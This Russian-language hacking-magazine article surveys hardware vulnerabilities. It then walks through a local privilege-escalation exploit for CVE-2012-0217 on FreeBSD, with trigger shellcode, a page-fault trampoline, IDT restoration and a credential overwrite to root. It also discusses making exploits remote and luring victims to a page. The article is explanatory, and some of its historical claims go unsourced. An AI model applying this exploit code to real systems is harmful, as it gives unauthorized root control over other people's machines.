Сегодня мало кого удивишь эксплойтами для разных операционных систем и программного обеспечения. Исследователи научились обходить различного рода защиты, такие как DEP, ASLR, NX bit, так называемую песочницу, эмуляторы кода и прочие системы виртуализации. Время меняет многое: еще вчера уязвимости в аппаратном обеспечении были объектом фантазий исследователей ИБ, сегодня это реальность. Я расскажу тебе о «железных» эксплойтах и малвари.

 

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Введение

Представь, к чему может привести обнаружение уязвимости в микропроцессоре. После эксплуатации такой ошибки уже нет необходимости обходить какие-либо средства защиты ОС. Что немаловажно, портирование такого эксплойта для разных ОС не будет представлять какой-либо сложности. Это связано с реализацией HAL (Hardware Abstraction Layer — слой аппаратных абстракций), а также с тем, что низкоуровневые компоненты ядра для работы с оборудованием на многих ОС практически одинаковы. Помимо этого, основным преимуществом эксплойтов, заточенных на хардварные уязвимости, является возможность трансформации вектора эксплуатации с удаленного на локальный (remote2local) и наоборот (local2remote). Как ты уже понял, трансформация вектора эксплуатации с локального на удаленный представляет для нас наибольший интерес :). Правда, иногда при трансформации мини-фильтры ядра обрезают/искажают обрабатываемые данные (правила мини-фильтров обычно появляются после очередных патчей, например по вторникам), но и это не помеха. Обход состоит из применения морфа/виртуализации кода или специально заготовленных гаджетов.

Чтобы ты понимал, насколько критическая ситуация, рассмотрим наглядный пример, разложенный на несколько основных этапов.

  1. Злоумышленник посылает подготовленный TCP- или UDP-пакет на любой открытый порт целевой машины.
  2. Пакет проходит через сетевую карту, вызывая исключение, которое планировщик ядра ставит в очередь. Так как приоритет нашего исключения высок, при вытесняющей многозадачности планировщика ОС пакет будет обработан ядром исключительно быстро, пройдя сквозь полымя мини-фильтров и встроенного монитора безопасности ядра.
  3. Код будет обработан центральным микропроцессором или конкретным контроллером (в режиме DMA), для которого предназначалась порция данных, доставленная рассматриваемым пакетом.
  4. В итоге имеем порабощенную машину.
  5. PROFIT! 🙂
 

Чем едят «железные» эксплойты

Для полного понимания сути вещей рассмотрим основные этапы выявления и эксплуатации уязвимостей в железе.

  1. Анализ — анализ оборудования на предмет выявления ошибок и уязвимостей. Существует два типа анализа — статический (он же реверс-инжиниринг, достаточно трудоемкий) и динамический («dummy» и шаблонный фазинг). В первую очередь ты должен знать базовую матчасть (см. ссылки), это поможет тебе достичь понимания, что именно необходимо анализировать. Современные микропроцессоры имеют свои слабые места, к основным из них стоит отнести блоки декодирования CISC-микрокоманд в RISC-команды, обработчики исключений, блоки состояний.
  2. Проверка полученных данных — на этом этапе полученные данные начинают обрабатываться, проводится отбор «эксплуатабельных» ошибок, то есть потенциальных уязвимостей (ищи исходники на нашем DVD — файл src/core2duo_errata).
  3. Написание PoC (в перспективе — боевого эксплойта) — создание наглядно демонстрирующего ошибку Proof-of-Concept эксплойта. Это может помочь другим исследователям и разработчикам разобраться в проблеме, используя собственный подход. Сценарии эксплуатации уязвимостей практически не отличаются от софтверных:
    • a) Local privilege escalation — локальное повышение привилегий. Сюда же можно отнести jailbreak’и и выполнение кода в ring 0;
    • б) Remote exploitation — удаленный захват управления;
    • в) Denial of Service — отказ в обслуживании. Очень эффективно применять данного рода эксплойты против аппаратных файрволов.
 

Классификация уязвимостей и возможные направления исследований

Уязвимости в железе можно разделить на два подкласса — псевдоаппаратные и аппаратные.

  1. Псевдоаппаратные уязвимости. Их большинство, и ими кишат публичные базы эксплойтов (exploit-db, 1337day, раздел hardware). Многие выдают их за аппаратные. На самом деле они являются псевдоаппаратными, потому что эксплуатируют ошибку не в самом оборудовании, а в прошивке/драйвере/CRM (системе управления, которая может быть представлена в виде веб-панели, SSH, Telnet или другого протокола передачи информации и управления). Пример псевдоаппаратных уязвимостей, информация о которых хранится в базе exploit-db, представлен на иллюстрации. Их несложно классифицировать по типу уязвимостей:
    • a) Уязвимости типа «Переполнение буфера»Пример: Xerox Workcenter 4150 Remote Buffer Overflow PoC. Уязвимость заключается в неправильной обработке одного из параметров (LANGUAGE) при создании задачи печати.
    • б) Зашитые пароли, ключи (софтверный бэкдор) Пример: F5 BIG-IP Remote Root Authentication Bypass Vulnerability 0-day. Уязвимость заключается в использовании зашитого в систему SSH-ключа, обладая которым атакующий может получить доступ к целевой системе.
    • в) Уязвимости веб-приложений (SQLi, XSS, CSRF, LFI, RFI, Auth Bypass и так далее) Пример: Huawei HG866 Authentication Bypass. Уязвимость заключается в том, что не все скрипты проверяют наличие валидной сессии в куках, что позволяет сменить пароль администратора.
  2. Аппаратные уязвимости — это уязвимости, связанные с проектированием аппаратных схем.
Псевдохардварные сплоиты с exploit-db.com
Псевдохардварные сплоиты с exploit-db.com

При проектировании процессорных микросхем и более-менее сложных микроконтроллеров, равно как и при создании сложного программного обеспечения, могут возникнуть различного рода ошибки. Часть из них могут стать потенциальными уязвимостями, которые создают «дыры» в железе. Если дыр становится чересчур много, то такое железо делается похожим на дуршлаг. Так случилось с продукцией компании Intel в начале 90-х, когда ошибки в CPU этого производителя гребли лопатой. Это нормально для компании с небольшим штатом специалистов и отсутствием тестирования. По мере роста компании Intel в ее составе начинают появляться отделы тестирования, отладки микропроцессорных схем. В конечном итоге именно благодаря им количество уязвимостей сводят практически к нулю. Спустя некоторое время, а именно в начале 2006 года, для процессоров серии Intel Core2Duo/Solo выходит неофициальная errata (свод ошибок), подготовленная парнями с сайта geek.com. Примерно через два месяца (заметь, какой срок, и это еще не предел) после выхода неофициального свода ошибок Intel нехотя признает их и вносит в официальную errat'у. Ну баги как баги, ничего примечательного — можно подумать на первый взгляд. И ошибиться :). Особый интерес представляли баги, которые несли в себе потенциальную уязвимость (AE1/2/4/5/6/9/12/13/16/17/18/20/21/30). В тот момент многие не обратили внимания на это событие, за исключением нескольких исследователей, одним из которых был Тео де Раадт (Theo de Raadt). В своих докладах он предупреждал о возможных последствиях, к которым могут привести найденные ошибки в Core2Duo. Многие эксперты по ИБ посчитали его высказывания параноидальными и комичными, посмеялись… и досмеялись :). В середине 2007 года в Сети появляется информация о боте нового поколения с руткит-функционалом для промышленного шпионажа (Stuxnet, обломись), автором которого являлась некая Selena, представительница китайского андеграунда. Для распространения бот использовал один из уникальных эксплойтов, который, впервые в мировой практике, эксплуатировал «железную» уязвимость, а именно баг в контроллере кеша Core2Duo, являвшегося на тот момент популярным решением для многих серверных систем (этот проц обеспечивал великолепное соотношение цена/производительность). Позднее, в 2008 году, Крис Касперски решает реконструировать эксплойт для данной уязвимости. В качестве примера он использует сэмпл руткита, полученный у той самой Selena, но извлечь сам эксплойт из тела руткита ему так и не удалось. На конференцию HITB2008 он привез «выдранную» реверс-инжинирингом специально сконструированную виртуальную машину (vm) и vm-байткод эксплойта. Задачей эксплойта было локальное повышение привилегий для руткита, в теле которого он и располагался. Если пораскинуть мозгами, то отреверсенный эксплойт Криса можно без особых усилий трансформировать из локального в удаленный (метод local2remote). В зависимости от целей эксплуатации выделяют два пути трансформации:

  • а) self-remote эксплойт — представляет собой HTML-страничку с внедренным кодом эксплойта на популярном скриптовом языке (JS, Java, AS3). Как ты понял, для эксплуатации уязвимости необходимо будет завлечь пользователя на эту страницу :). В ход может идти все, начиная с социальной инженерии и заканчивая веб-шеллом на популярном сайте;
  • б) full-remote эксплойт — stand-alone программа, посылающая специально сформированный TCP/IP-пакет компьютеру жертвы.

Каждый из рассмотренных путей имеет свои плюсы и минусы. Мне показалось, что провести трансформацию по первому методу будет наиболее выгодным и наглядным для тебя. Предлагаю тебе ознакомиться с заранее подготовленным сплоитом, реализованным на JS, ты можешь найти его на нашем диске (src/cpu_bug_src).

 

Cache Poisoning для процессоров

В марте 2011 года известная руткитописательница Джоанна Рутковская (Joanna Rutkowska) опубликовала информацию об уязвимости в процессорах Intel, позволяющей выполнить произвольный код в режиме SMM с привилегиями большими, чем привилегии нулевого кольца (ring 0).

SMM (System Management Mode) — это специальный малодокументированный режим работы процессоров Intel, который впервые появился в 386SL. В этом режиме приостанавливается нормальное выполнение кода и специальное ПО (обычно firmware или отладчик с аппаратной поддержкой) выполняется в режиме с высокими привилегиями.

Эксплойты используют кеш процессора для доступа к SMRAM — защищенной памяти для режима SMM. Из двух представленных эсплойтов один делает дамп памяти SMRAM, а второй производит выполнение кода в режиме SMM.

Потенциальное применение уязвимости привело к появлению SMM-руткитов, которые компрометировали работу гипервизоров и обходили современные защиты ОС на тот момент. Известно, что Intel была осведомлена о данной уязвимости, — она исправила ее в материнской плате DQ45CB, хотя более ранние модели остались уязвимыми, а патча, к сожалению — а может, и к счастью ;), — не появилось по сей день.

 

CVE-2012-0217

Перед нами уязвимость в процессорах Intel, а именно — 0-day наших дней, который был отмечен Рафалем Войчуком (Rafal Wojtczuk) со статусом Critical. По иронии судьбы, уязвимость была исправлена в Linux еще в далеком 2006-м (многие ее знают как CVE-2006-0744), но тогда мало кто обратил на нее внимание, а Intel в очередной раз отмахнулась, присвоив авторство данной уязвимости разработчикам ядра Линукс. Как ты понял, основной плюс данной уязвимости в том, что она, являясь хардварной, позволяет пробить большинство из существующих ОС (FreeBSD, NetBSD, Solaris, Windows) и систем виртуализации (XEN, KVM). В Linux она появилась в виде репорта от компании Red Hat (RHSA-2012:0720-1, RHSA-2012:0721-1). Причина возникновения данной уязвимости в том, что Intel’овский микропроцессор некорректно хэндлит канонический адрес до переключения в непривилегированный режим (r0 -> r3). В AMD-процессорах данная операция выполняется в точности до наоборот: сначала микропроцессор переключает код в непривилегированный режим (r3) и только после этого вызывает #GP. Таким образом, при установке пользователем указателя инструкций RIP неканонического вида процессор вызывает обработчик ошибки, который, будучи еще в ring 0, запустится с выбранными пользователем значениями регистров %gs и %rsp.

CVE-2012-0217 в действии
CVE-2012-0217 в действии

Я надеюсь, ты уловил суть баги. Давай рассмотрим технику эксплуатации на практике написания сплоита для FreeBSD. В процессе ее реализации нужно выполнить следующие шаги:

  1. Выбор способа отладки ядра, настройка отладчика (отладка отладке рознь ввиду кардинальных различий в виртуальных машинах).
  2. Сбор поверхностной информации об уязвимости по структурам и объектам ядра.
  3. Соблюдение правил эксплуатирования подобного рода уязвимостей:
    • ядро должно работать корректно, иначе система уйдет в даун;
    • необходимо корректно восстановить страницу исключения ошибок (general page fault exception — #GP);
    • необходимо повысить привилегии и выполнить код в ring 0.
  4. Программная реализация эксплойта.
схема эксплуатации
схема эксплуатации

Поехали! Первым делом для этих целей необходимо настроить виртуалку — сложно что-то делать, когда твоя клавиатура мигает под ритмичную музыку kernel panic :). Лично мой выбор пал на VMware из-за дружелюбного интерфейса отладки гостевой ОС. В качестве основной ОС (на которой проходила отладка) и гостевой (ОС для тестов) была выбрана стабильная версия FreeBSD 9.0. Настройка виртуальной машины проста до безобразия:

  1. Создаем новую виртуальную машину в VMware.
  2. Открываем конфигурационный файл, созданный vm (имеет расширение vmx), и добавляем следующую строку:
    debugStub.listen.guest64 = "TRUE"

После чего при запуске созданной vm VMware для отладки откроет локальный порт 8864, к которому можно будет спокойно подключиться из любого отладчика, к примеру GDB:

(gdb) target remote localhost:8864

Отладчик GDB для этих целей также стоит сконфигурировать самостоятельно для корректного отображения символов отлаживаемого окружения:

> sudo port install gettext gmp libelf
...
> curl -O http://ftp.gnu.org/gnu/gdb/gdb-7.4.1.tar.bz2
...
> tar xvjf gdb-7.4.1.tar.bz2
...
> cd gdb-7.4.1
> CFLAGS=-I/opt/local/include ./configure \
--prefix=/opt/local \
--program-suffix=-amd64-marcel-freebsd \
--target=amd64-marcel-freebsd
...
> make
> sudo make install

Ну и наконец, создаем директорию для отладки, к примеру poc_debug, и копируем туда исходные директории FreeBSD /usr/src и /boot/kernel, в которых находятся исходники для отладки (см. рисунок «Настройка и примеры работы в отладчике GDB»).

Настройка и примеры работы в отладчике GDB
Настройка и примеры работы в отладчике GDB

С настройкой отладчика разобрались, приступаем к сбору информации. Во время эксплуатации уязвимости нам понадобится информация (символы), которая располагается в адресном пространстве ядра. Во FreeBSD есть встроенная функция kldsym(), которая позволяет «достать» нужные нам символы, предоставляемые ядерной функцией get_symaddr().

u_long get_symaddr(char *symname)
{
struct kld_sym_lookup ksym;

ksym.version = sizeof (ksym);
ksym.symname = symname;

if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf("[+] Resolved %s to %#lx\n",\
     ksym.symname, ksym.symvalue);
return ksym.symvalue;
}

Теперь подумаем над тем, как эксплуатировать уязвимость. На самом деле все просто:

  1. Выделяем страницу памяти перед неканоническим адресом на границе 0x0000800000000000.
  2. Вызываем произвольный системный вызов (syscall) при помощи системного вызова инструкции, расположенной непосредственно перед адресом неканонической границы.

Когда обработчик fastsyscall восстановит регистры пользователя, он выполнит инструкцию sysret и попытается вернуться к «следующей инструкции» в 0x0000800000000000, «забыв» сменить режим ring 0 -> ring 3. Соответственно, #GP запускается в режиме ядра. Кроме этого, исключение кадра помещается в стек ring 3. Таким образом, мы можем перезаписать указатели ядра на тот адрес, которым можно управлять с ring 3.

uint64_t pagesize = getpagesize();
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
area = mmap(area, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (area == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}

// Копируем исполняемый код триггера,
// что находится на границе конца страницы
// таким образом, чтобы выполнился наш syscall
char triggercode[] =
"\xb8\x18\x00\x00\x00"
 // mov rax, 24; #getuid
"\x48\x89\xe3"
// mov rbx, rsp; сохраним регистры r3
// для последующих действий
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde"
// mov rsp, 0xdeadc0decafebabe
"\x0f\x05"; // syscall

uint8_t * trigger_addr = area + \
pagesize — TRIGGERCODESIZE;
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
 

Выполнение произвольного кода

При перезаписи значения целевого регистра RSP существует два исхода:

  1. Если значение регистра RSP не может быть перезаписано, срабатывает double fault (двойная ошибка), вызванная функцией Xdblfault(), и кадр исключения помещается в специальный стек, который закреплен за данного рода исключениями.
  2. Во втором случае #GP возникает в Xprot() и кадр исключения заносится в регистр RSP, таким образом его значение перезаписывается
    
    IDTVEC(prot)
        subq$TF_ERR,%rsp
        movl$T_PROTFLT,TF_TRAPNO(%rsp)
        movq$0,TF_ADDR(%rsp)
        movq%rdi,TF_RDI(%rsp)
        // Очищаем регистр для GP
        leaqdoreti_iret(%rip),%rdi
        cmpq%rdi,TF_RIP(%rsp)
        je  1f
        // Ядро с юзермод GS base r0->r3
        testb   $SEL_RPL_MASK,TF_CS(%rsp)
        // Проверяем, откуда мы пришли
        jz  2f
        // Продолжение работы в режиме ядра r0
        swapgs
        movqPCPU(CURPCB),%rdi
    

Так как мы пришли из ядра (при выполнении инструкции sysret), при проверке testb $SEL_RPL_MASK,TF_CS(%rsp) устанавливается флаг 'Z', поэтому по команде jz мы прыгаем на указанную метку 2f, обходя тем самым инструкцию свопа GS — swapgs. Но что, если сценарий разворачивается по первому пути? Так как цепь событий GS происходит в GS ring 3, при доступе к GS:data произойдет вызов ошибки страницы XPage(). Таким образом, цепочка событий fault, double fault, tripple fault и так далее приведет к краху системы. Если включить смекалку, то можно придумать выход из этой ситуации: вернуться в начало и восстановить значение регистров, которые мы перезаписали. Далее было бы неплохо, если бы мы могли заменить адрес обработчика ошибки страницы, что позволит выполнить произвольный код, если возникнет исключение #PF. В этом нам поможет метод восстановления структур.

Смотрим шлюзы дескрипторов:

+0:  Target Offset[15:0] | Target Selector
+4:  Some stuff  | Target Offset[31:16]
+8:  Target Offset[63:32]
+12: Some more stuff

И файл include/frame.h:

struct trapframe {
register_t  tf_rdi;
register_t  tf_rsi;
register_t  tf_rdx;
register_t  tf_rcx;
register_t  tf_r8;
register_t  tf_r9;
register_t  tf_rax;
register_t  tf_rbx;
register_t  tf_rbp;
register_t  tf_r10;
...
register_t  tf_rflags;
register_t  tf_rsp;
register_t  tf_ss;
};

Когда сработает исключение, микропроцессор заpushит в стек значения ss, rsp, rflags, cs, rip, err. Это иллюстрируют инструкции movl $T_PROTFLT,TF_TRAPNO(%rsp), movq $0,TF_ADDR(%rsp). Они пишут в стек рассматриваемые значения. Основная проблема в том, что, когда происходит исключение, RSP использует автоматическое выравнивание в 16 байт. Таким образом, существует возможность перезаписать только первые 32-LSB смещения. Еще одна инструкция — movl $T_PROTFLT,TF_TRAPNO(%rsp) пишет от 0 до tf_addr. Она также использует выравнивание в 16 байт. Надежда на последнюю инструкцию movl $T_PROTFLT,TF_TRAPNO(%rsp). И да! Она пишет значение T_PROTFLT (0x9) в tf_trapno, используя выравнивание в 16 + 8 байт! То, что нам нужно. При помощи этой инструкции мы можем установить в целевые смещения [63:32] значение 0x9. Если установить значения в RSP IDT[14]+10*8 (выравнивание tf_trapno с целевой #PF смещением [63:32]), мы можем установить адрес #PF обработчика на 0x9WWXXYYZZ. Кроме того, значение WWXXYYZZ нам уже заранее известно, так как мы можем получить адрес #PF при помощи функции get_symaddr(). Для того чтобы мы смогли выполнить произвольный код на системе, нужно будет установить трамплин-код на 0x9WWXXYYZZ, который содержит код установки и переход на наш ядерный пэйлоад.

*(uint64_t*)(trigger_addr + 10) = \
(uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);

char trampolinecode[] =
"\x0f\x01\xf8" 
// swapgs; переключаем в r0 gs:base
"\x48\x89\xdc" 
// mov rsp, rbx; восстанавливаем значение rsp,
// если нет больше возможности использовать r3-стек
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde"
 // mov rax, 0xdeadc0decafebabe
"\xff\xe0";
 // jmp rax

uint8_t * trampoline = (uint8_t*)(0x900000000 \
 | (Xpage_ptr & 0xFFFFFFFF));
size_t trampoline_allocsize = pagesize;
// В конце обращаемся к PAGESIZE для распределения
// Не хватает места для трамплин-кода?
if ((uint8_t*)((uint64_t)trampoline & \
~(pagesize-1)) + pagesize < trampoline + \
TRAMPOLINECODESIZE)
  trampoline_allocsize += pagesize;
if (mmap((void*)((uint64_t)trampoline & \
~(pagesize-1)), trampoline_allocsize,
  PROT_READ | PROT_WRITE | PROT_EXEC,
  MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) \
== MAP_FAILED) {
perror("mmap (trampoline)");
exit(1);
}
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
*(uint64_t*)(trampoline + 8) = \
(uint64_t)kernelmodepayload;
 

Поддержка стабильного ядра

Мы разобрались с исполнением произвольного кода, но забыли главное. Сразу же после того, как мы получим заветный shell, ядро вылетит в kernel panic. Это произойдет потому, что мы не восстановили структуры ядра после перезаписи. Чтобы этого не произошло, необходимо восстановить структуры в таблице IDT:

  • исключение фрейма #GP перезаписывает шесть 64-битных регистров, то есть происходит перезапись IDT[18], IDT[17] и IDT[16];
  • tf_addr перезаписывает 64-LSB в IDT[15];
  • tf_trapno перезаписывает смещение [63:32] в IDT[14];
  • регистр RDI перезаписывает 64-LSB в IDT[7];
  • исключение фрейма #PF перезаписывает IDT[6], IDT[5] и IDT[4].

Сказано — сделано:

struct gate_descriptor *idt = sidt();
setidt(idt, IDT_OF, Xofl_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 4
setidt(idt, IDT_BR, Xbnd_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 5
setidt(idt, IDT_UD, Xill_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 6
setidt(idt, IDT_NM, Xdna_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 7
setidt(idt, IDT_PF, Xpage_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 14
setidt(idt, IDT_MF, Xfpu_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 15
setidt(idt, IDT_AC, Xalign_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 16
setidt(idt, IDT_MC, Xmchk_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 17
setidt(idt, IDT_XF, Xxmm_ptr, \
SDT_SYSIGT, SEL_KPL, 0); // 18

 

PS3: полноценная аппаратная уязвимость в микропроцессоре CELL

Вот так новость выдали зарубежные СМИ в конце 2010 года. Как ты уже знаешь из предыдущих выпусков ][, первым уязвимость в игровой приставке Play Station скандальной корпорации Sony нашел не кто иной, как GeoHot. На самом деле большая часть исследований была совершена до GeoHot’a его командой failoverfl0w, откуда он ушел за год до своего открытия.

Вдоволь начитавшись материалов на сайте failoverfl0w и в блоге Джорджа Хотца, я не удовлетворился, ибо представленная уязвимость носила псевдоаппаратный характер.

Годный эксплойт появился в начале марта 2011 года, когда хакер под ником DarkHacker сообщил о том, что нашел аппаратную уязвимость в микропроцессоре производства IBM — Cell Broadband CPU.

Обращение хакера к народу: «Уязвимость в CPU поможет нам подойти на шаг ближе к METLDR. Я решил опубликовать эту информацию, потому что люди имеют право делать, что им хочется, и информация должна быть свободна. Знаю, что за это меня могут засудить. Пусть катится гадкая Sony к черту! Все это для таких же, как я, хакеров. И я буду бороться за права людей до конца своей жизни».

Эксплойт для PS3 представлен на нашем диске (/src/ps3_exploit).

pic4 

 

Повышение привилегий

Самое простое, что будет в нашем эксплойте. Единственное, что потребуется, — это узнать адреса идентификаторов текущей учетной записи и изменить их значение на 0 (значение идентификатора для root). Зная, что адрес текущей структуры потока в FreeBSD может быть прочитан с GS:0, можно написать следующий код:

struct thread *td;
struct ucred *cred;

// Получаем адрес текущей структуры потока
asm ("mov %%gs:0, %0" : "=r"(td));

cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;

Ну и наконец, напишем обертку и сам ring 3 шелл-код, который будет использовать инструкцию sysret для выполнения кода в ring 0:

asm ("swapgs; sysretq;" :: "c"(shellcode));
// Восстанавливаем адрес шелл-кода из регистра rcx
void shellcode()
{
printf("[*] w00t! w00t!!, u g0t r00t! :D\n");
exit(0);
}

Хм… Стоп, а где же сам шелл-код? А его нет :). Все дело в том, что структура учетных данных пользователя распределяется между процессами этого пользователя. Так как мы изменили идентификаторы, порожденный shell будет автоматически наследовать привилегии с идентификатором 0, то есть привилегии суперпользователя root (примеры эксплойтов и PoC смотри в src/CVE-2012-0217).

 

WWW

Подведем итоги

Возможно, сейчас поиск ошибок в железе — это экзотика, но, поверь, придет время, когда аппаратные уязвимости войдут в нашу жизнь и будут популяризироваться день ото дня, как и их софтверные братья. Эпидемии «железной» малвари также не за горами. В следующей статье под моим скальпелем окажутся концептуальные релизы на эту тему. Следи за новыми выпусками ][.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии